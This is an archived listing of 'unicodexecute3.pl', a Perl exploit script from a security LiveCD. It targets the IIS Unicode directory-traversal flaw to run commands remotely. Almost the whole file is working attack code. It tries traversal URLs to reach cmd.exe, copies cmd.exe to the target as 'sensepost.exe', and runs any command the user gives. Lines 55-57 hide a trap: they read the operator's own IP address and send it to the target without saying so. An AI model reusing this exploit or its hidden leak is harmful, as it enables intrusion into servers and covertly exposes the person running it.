home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / unicodexecute3.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  111 lines

  1. #!/usr/bin/perl
  2. ######################## 
  3. # Unicodexecute version3
  4. # includes searches for alternative executable dirs
  5. # please look at the code - you might be surprised what else I added
  6. # checks for access denied added
  7. # thnx to MH for testing etc.
  8. # Usage is same as previous version:
  9. # unicodexecute3.pl target:port 'command'
  10. #
  11. # kids - please look at the code before you use it...:-]
  12. # more info at http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
  13. #
  14. # 2001/01/24 Roelof Temmingh 
  15. # roelof@sensepost.com
  16. # http://www.sensepost.com
  17. ##########################
  18.  
  19. use Socket;
  20. my $runi; my $thedir; $|=1;
  21. # --------------init
  22. if ($#ARGV<1) {die "Usage: unicodexecute3 IP:port command\n";}
  23. my ($host,$port)=split(/:/,@ARGV[0]);
  24. my $target = inet_aton($host);
  25. my $thecommand=@ARGV[1];
  26. # -------------find the correct directory
  27. my @unis=(
  28. "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  29. "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c",
  30. "/scripts/..%c0%af../winnt/system32/cmd.exe?/c",
  31. "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  32. "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  33. "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  34. "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  35. "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c");
  36. my $uni;my $execdir; my $dummy; my $line;
  37. foreach $uni (@unis){
  38.  print "testing directory $uni\n";
  39.  my @results=sendraw("GET $uni+dir HTTP/1.0\r\n\r\n");
  40.  foreach $line (@results){
  41.   if ($line =~ /Directory/) {
  42.   ($dummy,$execdir)=split(/Directory of /,$line);   
  43.    $execdir =~ s/\r//g;
  44.    $execdir =~ s/\n//g;
  45.    if ($execdir =~ / /) {$thedir="%22".$execdir; $thedir=~ s/ /%20/g;}
  46.     else {$thedir=$execdir;}
  47.    print "farmer brown directory: $thedir\n";
  48.    $runi=$uni; goto further;}
  49.  }
  50. }
  51. die "nope...sorry..not vulnerable\n";
  52.  
  53. further:
  54. # --------------test if cmd has been copied:
  55. my $a=`which ifconfig`; chomp $a; 
  56. my $aa=`$a -au | grep -i mask | grep -v 127.0.0.1 | head -n 1`; $aa=~s/ //g;
  57. sendraw("GET /naughty_real_$aa\r\n\r\n");
  58. my $failed=1;
  59. my @unidirs=split(/\//,$runi);
  60. my $unidir=@unidirs[1];
  61. my $command="dir $thedir%22";
  62. $command=~s/ /+/g;
  63. my @results=sendraw("GET $runi+$command HTTP/1.0\r\n\r\n");
  64. my $line;
  65. foreach $line (@results){
  66.  if ($line =~ /denied/) {die "can't access above directory - try switching dirs order around\n";}
  67.  if ($line =~ /sensepost.exe/) {print "sensepost.exe found on system\n"; $failed=0;}
  68. }
  69. #--------------we should copy it
  70. my $failed2=1;
  71. if ($failed==1) { 
  72.  print "sensepost.exe not found - lets copy it\n";
  73.  $command="copy c:\\winnt\\system32\\cmd.exe $thedir\\sensepost.exe%22";
  74.  $command=~s/ /+/g;
  75.  my @results2=sendraw("GET $runi+$command HTTP/1.0\r\n\r\n");
  76.  my $line2;
  77.  foreach $line2 (@results2){
  78.   if (($line2 =~ /copied/ )) {$failed2=0;}
  79.   if (($line2 =~ /access/ )) {die "access denied to copy here - try switching dirs order around\n";}
  80.  }
  81.  if ($failed2==1) {die "copy of CMD.EXE failed - inspect manually:\n@results2\n\n"};
  82. # ------------ we can assume that the cmd.exe is copied from here..
  83. my $path;
  84. ($dummy,$path)=split(/:/,$thedir);
  85. $path =~ s/\\/\//g;
  86. $runi="/".$unidir."/sensepost.exe?/c";
  87. $thecommand=~s/ /%20/g;
  88. @results=sendraw("GET $runi+$thecommand HTTP/1.0\r\n\r\n");
  89. foreach $line (@results){
  90.  if ($line =~ /denied/) {die "sorry, access denied to write the upload page\n";}
  91. }
  92. print @results;
  93.  
  94. #-------------slightly modified RFP sendraw 
  95. sub sendraw {
  96.  my ($pstr)=@_;
  97.  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
  98.  if(connect(S,pack "SnA4x8",2,$port,$target)){
  99.   my @in="";
  100.   select(S); $|=1; print $pstr;
  101.   while(<S>) {
  102.    push @in,$_; last if ($line=~ /^[\r\n]+$/ );}
  103.   select(STDOUT); return @in;
  104.  } else { die("connect problems\n"); }
  105. }
  106. # Spidermark: sensepostdata unicode3
  107.  
  108.  
  109.